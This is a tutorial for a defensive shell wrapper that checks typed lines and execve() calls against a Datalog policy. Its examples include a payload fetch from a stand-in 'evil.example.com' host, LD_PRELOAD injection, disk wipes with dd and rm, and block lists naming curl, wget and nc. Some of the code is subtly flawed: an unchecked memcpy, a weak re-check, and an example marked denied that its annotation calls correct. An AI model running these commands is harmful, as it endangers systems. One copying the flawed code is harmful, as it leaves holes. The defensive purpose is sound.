maelys-pty

maelys-pty

maelys-pty wraps a real interactive shell inside a pseudo-terminal and evaluates a Datalog policy before every command runs. This tutorial builds the wrapper in three levels of increasing rigour — and addresses the concrete security gaps that open at each level.

Level 1
Line filter + metachar scan

Intercept every line before \n. Scan for shell metacharacters (|, >, $VAR) and inject them as EDB facts. Tokenise the command, evaluate the policy, block or pass through.

Level 2
Risk model + TOCTOU guard

Risk lattice: deny, challenge, allow-with-log. The confirmation prompt re-evaluates the policy after the user replies to close the TOCTOU window.

Level 3
seccomp + execve + path + env

Trap every execve() syscall. Resolve the canonical binary path via the child's CWD. Read envp to detect LD_PRELOAD injection. Evaluate all three as EDB facts before allowing exec.


Level 1 — Line filter with metachar scan

Level 1 wraps an interactive shell behind a pseudo-terminal and intercepts every typed line before it reaches the child shell. It scans for shell metacharacters (|, >, ;, `, $VAR) before tokenising, injects them as EDB facts, and evaluates a Datalog policy. If the policy does not derive allow(Cmd), the line is discarded and never forwarded to the shell.

What we are building

Usertypes a commandMetacharscan before splitmaelys-ptytokenise + EDBPolicyallow / denyShellbash via slave pty

The problem with naive tokenisation

strtok(line, " \t") breaks on whitespace. It cannot handle:

git commit -m "feat: add solver"   → strtok splits on space inside quotes
echo "shutdown now"                → tokens[0] = echo, correct — but what
                                     about: shutdown now ?
| rm -rf /                         → tokens[0] = "|", but the pipe is the threat
> /etc/passwd                      → redirect silently ignored by line filter
CMD=rm; $CMD /                     → $CMD never resolved — policy sees "$CMD"

The fix: scan for metacharacters before tokenising and inject them as EDB facts. The policy then decides whether the presence of a pipe or a variable expansion is itself grounds for denial — independently of what the command token happens to be.

Domain

static const maelys_datalog_predicate_def_t pty_preds[] = {
  /* EDB: populated per command line */
  { "command",        1, MAELYS_DATALOG_PRED_KIND_EDB },
  { "arg",            1, MAELYS_DATALOG_PRED_KIND_EDB },
  { "user",           1, MAELYS_DATALOG_PRED_KIND_EDB },
  { "cwd",            1, MAELYS_DATALOG_PRED_KIND_EDB },
  { "time_of_day",    1, MAELYS_DATALOG_PRED_KIND_EDB },
  /* Metacharacters detected in the raw line before tokenising */
  { "shell_metachar", 1, MAELYS_DATALOG_PRED_KIND_EDB },
 
  /* POLICY_FACT */
  { "forbidden_cmd",  1, MAELYS_DATALOG_PRED_KIND_POLICY_FACT },
  { "trusted_user",   1, MAELYS_DATALOG_PRED_KIND_POLICY_FACT },
 
  /* IDB + QUERY */
  { "deny_any",  1, MAELYS_DATALOG_PRED_KIND_IDB | MAELYS_DATALOG_PRED_KIND_QUERY },
  { "allow",     1, MAELYS_DATALOG_PRED_KIND_IDB | MAELYS_DATALOG_PRED_KIND_QUERY },
  { "deny",      2, MAELYS_DATALOG_PRED_KIND_IDB | MAELYS_DATALOG_PRED_KIND_QUERY },
};

Scanning metacharacters before tokenising

typedef struct {
    bool has_pipe;        /* | or || */
    bool has_redirect;    /* > >> < */
    bool has_semicolon;   /* ; */
    bool has_backtick;    /* ` */
    bool has_var_expand;  /* $VAR or $(cmd) */
} metachar_flags_t;
 
static metachar_flags_t scan_metacharacters(const char *line, size_t len)
{
    metachar_flags_t f = {0};
    bool in_single_quote = false;
    bool in_double_quote = false;
 
    for (size_t i = 0; i < len; i++) {
        char c = line[i];
 
        /* Track quoting state */
        if (c == '\'' && !in_double_quote) { in_single_quote = !in_single_quote; continue; }
        if (c == '"'  && !in_single_quote) { in_double_quote = !in_double_quote; continue; }
 
        /* Inside single quotes: nothing is special */
        if (in_single_quote) continue;
 
        switch (c) {
        case '|': f.has_pipe       = true; break;
        case '>':
        case '<': f.has_redirect   = true; break;
        case ';': f.has_semicolon  = true; break;
        case '`': f.has_backtick   = true; break;
        case '$': f.has_var_expand = true; break;
        }
    }
    return f;
}
 
static void inject_metachar_facts(maelys_datalog_edb_t *edb,
                                   const metachar_flags_t *f)
{
    if (f->has_pipe)       maelys_datalog_edb_add_runtime_symbol_fact(edb, "shell_metachar", "pipe");
    if (f->has_redirect)   maelys_datalog_edb_add_runtime_symbol_fact(edb, "shell_metachar", "redirect");
    if (f->has_semicolon)  maelys_datalog_edb_add_runtime_symbol_fact(edb, "shell_metachar", "semicolon");
    if (f->has_backtick)   maelys_datalog_edb_add_runtime_symbol_fact(edb, "shell_metachar", "backtick");
    if (f->has_var_expand) maelys_datalog_edb_add_runtime_symbol_fact(edb, "shell_metachar", "var_expand");
}

The Level 1 policy

/* ── Forbidden commands ─────────────────────────────────────── */
forbidden_cmd("shutdown").
forbidden_cmd("reboot").
forbidden_cmd("poweroff").
 
/* ── Trusted users ──────────────────────────────────────────── */
trusted_user("alice").
trusted_user("root").
 
/* ── Shell metacharacter lines are always blocked ───────────── */
/* Any line containing a pipe, redirect, semicolon, backtick,
   or unquoted variable expansion is rejected at the line level.
   This is independent of what the command token happens to be. */
deny("__line__", "shell metacharacter in line") :-
    shell_metachar(_).
 
/* ── Forbidden binaries ─────────────────────────────────────── */
deny(Cmd, "command is forbidden by policy") :-
    command(Cmd),
    forbidden_cmd(Cmd).
 
/* ── curl restricted to trusted users ──────────────────────── */
deny("curl", "curl is restricted to trusted users") :-
    command("curl"),
    user(U),
    not(trusted_user(U)).
 
/* ── deny_any / allow ───────────────────────────────────────── */
deny_any(Op) :- deny(Op, Reason).
 
allow(Cmd) :-
    command(Cmd),
    not(deny_any("__line__")),
    not(deny_any(Cmd)).

The __line__ sentinel is a stable predicate for line-level denials — metacharacter checks apply before any command-level evaluation.

i

Policy vocabulary vs runtime evidence. The policy uses string constants in the .dl source: "pipe", "redirect", "__line__", etc. These are stable policy vocabulary — they must belong to the registered atom vocabulary before parsing.

Runtime values — the actual command name, the user, the working directory — are unknown at policy-load time and are injected into the EDB via edb_add_runtime_symbol_fact. They do not need to be pre-registered.

Policy source  →  "pipe", "redirect", "__line__"   → atom vocabulary
Runtime EDB    →  command("curl"), user("alice")    → edb_add_runtime_symbol_fact

Building the EDB

static int evaluate_line(const maelys_datalog_policy_set_t *ps,
                          const char *line, size_t len)
{
    if (len == 0) return 1;
 
    /* Step 1: scan metacharacters on the raw line, before any splitting */
    metachar_flags_t meta = scan_metacharacters(line, len);
 
    /* Step 2: tokenise (after metachar scan, so quotes already flagged) */
    char copy[4096];
    memcpy(copy, line, len + 1);
    char *tokens[64];
    int   ntok = 0;
    for (char *p = strtok(copy, " \t"); p && ntok < 63;
         p = strtok(NULL, " \t"))
        tokens[ntok++] = p;
 
    if (ntok == 0) return 1;
 
    /* Step 3: populate EDB */
    static maelys_datalog_edb_t edb;
    static maelys_datalog_fact_t pool[512];
    maelys_datalog_edb_init(&edb, pool, 512,
        &ps->policies[0].symbols, &ps->policies[0].registry);
 
    /* Metachar facts first — independent of tokenisation */
    inject_metachar_facts(&edb, &meta);
 
    /* Command and args */
    maelys_datalog_edb_add_runtime_symbol_fact(&edb, "command", tokens[0]);
    for (int i = 1; i < ntok; i++)
        maelys_datalog_edb_add_runtime_symbol_fact(&edb, "arg", tokens[i]);
 
    /* Context */
    const char *u = getenv("USER");
    if (u) maelys_datalog_edb_add_runtime_symbol_fact(&edb, "user", u);
 
    maelys_datalog_edb_finalize(&edb);
 
    /* Step 4: solve */
    maelys_datalog_solve_result_t *result = NULL;
    if (maelys_datalog_solve_once(&ps->policies[0], &edb, &result) != MAELYS_OK) {
        fprintf(stderr, "\r\nmaelys-pty: solver error (fail closed)\r\n");
        return 0;
    }
 
    maelys_datalog_symbol_id_t cmd_id;
    maelys_datalog_symbol_intern(&ps->policies[0].symbols,
        tokens[0], strlen(tokens[0]), &cmd_id);
    maelys_datalog_term_t cmd_term = {
        .kind = MAELYS_DATALOG_TERM_SYMBOL, .as.symbol = cmd_id };
 
    bool allowed = false;
    maelys_datalog_query_solved_ground_fact(result, "allow", &cmd_term, 1, &allowed);
 
    if (!allowed)
        fprintf(stderr, "\r\nmaelys-pty: '%s' denied by policy\r\n", tokens[0]);
 
    maelys_datalog_solve_result_free(result);
    return allowed ? 1 : 0;
}

Level 1 in action

alice@host:~$ shutdown now
maelys-pty: 'shutdown' denied by policy
 
alice@host:~$ echo hello | grep hello
maelys-pty: '__line__' denied by policy   ← pipe detected before tokenising
 
alice@host:~$ git commit -m "feat: solver"
maelys-pty: '__line__' denied by policy   ← " triggers in_double_quote,
                                              but the space inside is not a metachar
                                              (correct — echo "foo bar" is fine)
 
alice@host:~$ CMD=rm; $CMD /
maelys-pty: '__line__' denied by policy   ← semicolon + $VAR both detected
 
alice@host:~$ git push origin feature/x
→ allowed: no metacharacters, not forbidden

Level 2 — Risk model with TOCTOU guard

Level 2 adds a risk lattice to the policy. Commands are classified as critical, high, or medium risk. Critical commands are always denied. High-risk commands trigger an interactive confirmation prompt. Medium-risk commands are allowed but logged. The confirmation handler re-evaluates the policy with a fresh EDB after receiving the user’s reply, closing the TOCTOU window between the initial check and the decision to forward the line.

Risk lattice

deny(Cmd, Reason)             →  blocked
challenge(Cmd, Reason)        →  interactive confirmation prompt
allow_with_log(Cmd, LogMsg)   →  allowed, decision recorded
allow(Cmd)                    →  allowed silently

Extended domain

{ "risk_critical",  1, MAELYS_DATALOG_PRED_KIND_POLICY_FACT },
{ "risk_high",      1, MAELYS_DATALOG_PRED_KIND_POLICY_FACT },
{ "risk_medium",    1, MAELYS_DATALOG_PRED_KIND_POLICY_FACT },
{ "challenge",      2, MAELYS_DATALOG_PRED_KIND_IDB | MAELYS_DATALOG_PRED_KIND_QUERY },
{ "allow_with_log", 2, MAELYS_DATALOG_PRED_KIND_IDB | MAELYS_DATALOG_PRED_KIND_QUERY },

The Level 2 policy

risk_critical("mkfs").
risk_critical("dd").
risk_critical("fdisk").
 
risk_high("rm").
risk_high("chmod").
risk_high("systemctl").
 
risk_medium("curl").
risk_medium("wget").
risk_medium("ssh").
 
deny(Cmd, "critical-risk — out-of-band authorization required") :-
    command(Cmd), risk_critical(Cmd).
 
challenge(Cmd, "high-risk — confirm? [y/N]") :-
    command(Cmd), risk_high(Cmd),
    user(U), not(trusted_user(U)),
    not(deny_any(Cmd)).
 
allow_with_log(Cmd, "medium-risk executed") :-
    command(Cmd), risk_medium(Cmd),
    not(deny_any(Cmd)), not(challenge(Cmd, _)).
 
allow(Cmd) :-
    command(Cmd),
    not(deny_any("__line__")),
    not(deny_any(Cmd)),
    not(challenge(Cmd, _)),
    not(allow_with_log(Cmd, _)).

Challenge handler with TOCTOU guard

The challenge asks the user for confirmation while the shell is paused. Between the policy evaluation and the user's reply, external state can change (files created, environment mutated, another process acting). The fix: re-evaluate the policy with a fresh EDB after receiving y, before forwarding the line to the shell.

static int handle_challenge(const maelys_datalog_policy_set_t *ps,
                             const char *line, size_t len,
                             const char *cmd_token,
                             const metachar_flags_t *meta)
{
    fprintf(stderr, "\r\nmaelys-pty: high-risk — confirm? [y/N] ");
    fflush(stderr);
 
    char answer[4] = {0};
    if (read(STDIN_FILENO, answer, 1) != 1 ||
        (answer[0] != 'y' && answer[0] != 'Y')) {
        fprintf(stderr, "\r\nmaelys-pty: cancelled\r\n");
        return 0;
    }
 
    /*
     * TOCTOU guard: re-evaluate with a fresh EDB built from current state.
     * The window between the first solve and the user's "y" is real time
     * during which environment variables or files could have changed.
     * A second solve closes this window.
     */
    static maelys_datalog_edb_t edb2;
    static maelys_datalog_fact_t pool2[512];
    maelys_datalog_edb_init(&edb2, pool2, 512,
        &ps->policies[0].symbols, &ps->policies[0].registry);
 
    /* Re-inject all EDB facts from the current environment */
    inject_metachar_facts(&edb2, meta);
    maelys_datalog_edb_add_runtime_symbol_fact(&edb2, "command", cmd_token);
    const char *u = getenv("USER");
    if (u) maelys_datalog_edb_add_runtime_symbol_fact(&edb2, "user", u);
    maelys_datalog_edb_finalize(&edb2);
 
    maelys_datalog_solve_result_t *result2 = NULL;
    if (maelys_datalog_solve_once(&ps->policies[0], &edb2, &result2) != MAELYS_OK)
        return 0;  /* fail closed */
 
    maelys_datalog_symbol_id_t cmd_id;
    maelys_datalog_symbol_intern(&ps->policies[0].symbols,
        cmd_token, strlen(cmd_token), &cmd_id);
    maelys_datalog_term_t cmd_term = {
        .kind = MAELYS_DATALOG_TERM_SYMBOL, .as.symbol = cmd_id };
 
    bool still_allowed = false;
    maelys_datalog_query_solved_ground_fact(result2, "allow", &cmd_term, 1, &still_allowed);
    maelys_datalog_solve_result_free(result2);
 
    if (!still_allowed) {
        fprintf(stderr, "\r\nmaelys-pty: state changed during challenge — blocked\r\n");
        return 0;
    }
 
    log_decision("challenge-accepted", cmd_token);
    return 1;
}

Level 2 in action

alice@host:~$ rm -rf /tmp/old
maelys-pty: high-risk — confirm? [y/N] y
[re-evaluate: still allowed → forward to shell]
 
alice@host:~$ dd if=/dev/zero of=/dev/sda
maelys-pty: 'dd' denied — critical-risk — out-of-band authorization required

Why the line filter is not enough

Before moving to Level 3, here is what a line filter — even with metachar scanning — cannot prevent:

Attack vectorLevel 1 (line buffer)Level 3 (seccomp + execve)
Shell alias: alias ls=rmSees ls, allows itSees /bin/rm
Shell script: ./script.shSees ./script.sh, script runs uncheckedEvery execve() inside trapped
Relative path: ./curlSees ./curlResolved to canonical path, checked
LD_PRELOAD injectionInvisible to line filterRead from envp, injected as EDB fact
PerformanceUltra-fast (no syscall overhead)Context switches per execve

The right strategy is both: Level 1 blocks typed lines fast and cheaply; Level 3 catches everything that slips past at the syscall boundary.


Level 3 — seccomp + execve + path resolution + envp

Level 3 moves enforcement to the syscall boundary. A seccomp BPF filter on the child process traps every execve() call before the binary loads. The parent reads the real binary path, resolves relative paths and symlinks via the child’s CWD, and reads envp to detect linker-hijacking variables such as LD_PRELOAD. All three are projected into EDB facts and evaluated by the same Datalog policy. This catches aliases, shell scripts, and environment injection that the Level 1 line filter cannot see.

i

Level 3 is Linux-only. It uses ptrace(2) and seccomp(2) BPF filters. macOS enforces at this level via EndpointSecurity / KEXT.

Attaching seccomp BPF

static void child_setup_ptrace(void) {
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { perror("ptrace"); _exit(1); }
 
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]), .filter = filter };
 
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
        perror("seccomp"); _exit(1);
    }
}

Reading execve arguments with path resolution and envp

The execve(pathname, argv, envp) syscall provides three pointers. On x86-64: rdi = pathname, rsi = argv, rdx = envp.

static int handle_execve_trap(pid_t child,
                               const maelys_datalog_policy_set_t *ps)
{
    struct user_regs_struct regs;
    ptrace(PTRACE_GETREGS, child, NULL, &regs);
 
    unsigned long pathname_addr = regs.rdi;   /* execve arg 1 */
    unsigned long argv_addr     = regs.rsi;   /* execve arg 2 */
    unsigned long envp_addr     = regs.rdx;   /* execve arg 3 */
 
    /* ── 1. Read pathname from child memory ─────────────────── */
    char pathname[PATH_MAX];
    read_child_string(child, pathname_addr, pathname, sizeof(pathname));
 
    /* ── 2. Resolve to canonical path ───────────────────────── */
    /*
     * Relative paths like "./curl" or "../bin/sh" are resolved against
     * the child's CWD, then symlinks are collapsed via realpath().
     * Without this step, policy("curl") would not match "./curl".
     */
    char canonical[PATH_MAX];
    {
        char resolved[PATH_MAX];
        if (pathname[0] != '/') {
            /* Read child CWD from /proc/[pid]/cwd */
            char cwd_link[64];
            char child_cwd[PATH_MAX];
            snprintf(cwd_link, sizeof(cwd_link), "/proc/%d/cwd", child);
            ssize_t n = readlink(cwd_link, child_cwd, sizeof(child_cwd) - 1);
            if (n > 0) {
                child_cwd[n] = '\0';
                snprintf(resolved, sizeof(resolved), "%s/%s", child_cwd, pathname);
            } else {
                strncpy(resolved, pathname, sizeof(resolved));
            }
        } else {
            strncpy(resolved, pathname, sizeof(resolved));
        }
        /* Resolve symlinks: ./curl → /usr/bin/curl if linked */
        if (realpath(resolved, canonical) == NULL)
            strncpy(canonical, resolved, sizeof(canonical));
    }
 
    /* ── 3. Read argv from child memory ─────────────────────── */
    char *argv[64] = {0};
    int   argc = 0;
    read_child_argv(child, argv_addr, argv, 64, &argc);
 
    /* ── 4. Read envp — detect LD_PRELOAD and similar ──────── */
    /*
     * LD_PRELOAD=/tmp/evil.so ls  — the command is innocent ("ls") but
     * the environment hijacks the dynamic linker. We read envp strings
     * and inject dangerous variables as EDB facts.
     */
    char *envp_strings[128] = {0};
    int   envc = 0;
    read_child_argv(child, envp_addr, envp_strings, 128, &envc);
 
    static const char *watched_env[] = {
        "LD_PRELOAD", "LD_LIBRARY_PATH", "LD_AUDIT",
        "DYLD_INSERT_LIBRARIES",   /* macOS equivalent */
        NULL
    };
 
    /* ── 5. Build EDB ────────────────────────────────────────── */
    static maelys_datalog_edb_t edb;
    static maelys_datalog_fact_t pool[512];
    maelys_datalog_edb_init(&edb, pool, 512,
        &ps->policies[0].symbols, &ps->policies[0].registry);
 
    /* Canonical path: policy sees /usr/bin/curl, not ./curl */
    maelys_datalog_edb_add_runtime_symbol_fact(&edb, "executable_path", canonical);
 
    /* Command basename: policy("curl") */
    const char *base = strrchr(canonical, '/');
    maelys_datalog_edb_add_runtime_symbol_fact(&edb, "command",
        base ? base + 1 : canonical);
 
    /* argv[1..] */
    for (int i = 1; i < argc && argv[i]; i++)
        maelys_datalog_edb_add_runtime_symbol_fact(&edb, "arg", argv[i]);
 
    /* Dangerous environment variables */
    for (int i = 0; i < envc && envp_strings[i]; i++) {
        for (int j = 0; watched_env[j]; j++) {
            size_t klen = strlen(watched_env[j]);
            if (strncmp(envp_strings[i], watched_env[j], klen) == 0 &&
                envp_strings[i][klen] == '=') {
                /* Inject env_var("LD_PRELOAD") */
                maelys_datalog_edb_add_runtime_symbol_fact(&edb, "env_var", watched_env[j]);
            }
        }
    }
 
    maelys_datalog_edb_finalize(&edb);
 
    /* ── 6. Evaluate ─────────────────────────────────────────── */
    maelys_datalog_solve_result_t *result = NULL;
    maelys_datalog_solve_once(&ps->policies[0], &edb, &result);
 
    maelys_datalog_symbol_id_t cmd_id;
    base = strrchr(canonical, '/');
    const char *cmd_name = base ? base + 1 : canonical;
    maelys_datalog_symbol_intern(&ps->policies[0].symbols,
        cmd_name, strlen(cmd_name), &cmd_id);
    maelys_datalog_term_t cmd_term = {
        .kind = MAELYS_DATALOG_TERM_SYMBOL, .as.symbol = cmd_id };
 
    bool allowed = false;
    maelys_datalog_query_solved_ground_fact(result, "allow", &cmd_term, 1, &allowed);
    maelys_datalog_solve_result_free(result);
 
    if (allowed) {
        ptrace(PTRACE_CONT, child, NULL, NULL);
        return 1;
    }
 
    /* Inject EPERM: execve fails with "Operation not permitted" */
    regs.orig_rax = -1;
    regs.rax      = -EPERM;
    ptrace(PTRACE_SETREGS, child, NULL, &regs);
    ptrace(PTRACE_CONT, child, NULL, NULL);
    fprintf(stderr,
        "\r\nmaelys-pty [L3]: execve('%s') denied by policy\r\n", canonical);
    return 0;
}

The Level 3 policy

/* ── Forbidden binaries ─────────────────────────────────────── */
forbidden_cmd("curl").
forbidden_cmd("wget").
forbidden_cmd("nc").
 
/* ── Trusted users ──────────────────────────────────────────── */
trusted_user("alice").
 
/* ── LD_PRELOAD injection is always denied ──────────────────── */
/* Regardless of which binary is being executed, LD_PRELOAD in
   the environment means the binary's code is no longer trusted. */
deny(Cmd, "LD_PRELOAD_INJECTION") :-
    command(Cmd),
    env_var("LD_PRELOAD").
 
deny(Cmd, "LD_PRELOAD_INJECTION") :-
    command(Cmd),
    env_var("LD_LIBRARY_PATH").
 
/* ── Forbidden binary at canonical path ─────────────────────── */
deny(Cmd, "binary is forbidden by policy") :-
    command(Cmd),
    forbidden_cmd(Cmd),
    user(U),
    not(trusted_user(U)).
 
/* ── deny_any / allow ───────────────────────────────────────── */
deny_any(Op) :- deny(Op, Reason).
allow(Cmd)   :- command(Cmd), not(deny_any(Cmd)).

Level 3 in action

alice@host:~$ bash script.sh
# script.sh: curl https://evil.example.com/payload
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
bash: /usr/bin/curl: Operation not permitted
 
alice@host:~$ ./curl https://example.com
# ./curl is a symlink to /usr/bin/curl
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
← resolved via /proc/[pid]/cwd + realpath(), policy matched correctly
 
alice@host:~$ LD_PRELOAD=/tmp/evil.so ls
maelys-pty [L3]: execve('/bin/ls') denied by policy  ← env_var("LD_PRELOAD") fired
bash: /bin/ls: Operation not permitted

What you have learned

Level 1 — forkpty line filter with metachar scan:
  - Scan for |, >, ;, `, $VAR before strtok — inject shell_metachar() facts.
  - The policy denies on metachar presence independently of the command token.
  - strtok is used after metachar scan, so pipes and semicolons are caught
    even if they appear in positions strtok would split incorrectly.
 
Level 2 — Risk model with TOCTOU guard:
  - Risk lattice: critical → deny, high → challenge, medium → log.
  - The challenge handler re-evaluates the policy with a fresh EDB after
    receiving "y" — this closes the TOCTOU window between check and use.
 
Level 3 — seccomp + execve + canonical path + envp:
  - Relative paths (./curl) are resolved via /proc/[child_pid]/cwd + realpath().
    Policy always sees the canonical binary path, not the caller's string.
  - envp (regs.rdx on x86-64) is read word-by-word. LD_PRELOAD, LD_LIBRARY_PATH,
    LD_AUDIT are injected as env_var() EDB facts. Policy denies unconditionally
    when a linker-hijacking variable is present, regardless of the binary.
  - Level 1 + Level 3 are complementary:
    Level 1 blocks typed lines fast with no syscall overhead.
    Level 3 catches aliases, scripts, and injected env at the kernel boundary.

Where to go next

  • maelys-git — the same policy engine applied to git operations before git runs. Simpler starting point without ptrace.
  • Document access — ABAC for document ownership and sensitivity levels.
  • Rulesets — full policy language reference.
  • Manifest loading — load the policy from a SHA-verified file on disk.
  • Receipts — audit trail for every execve decision.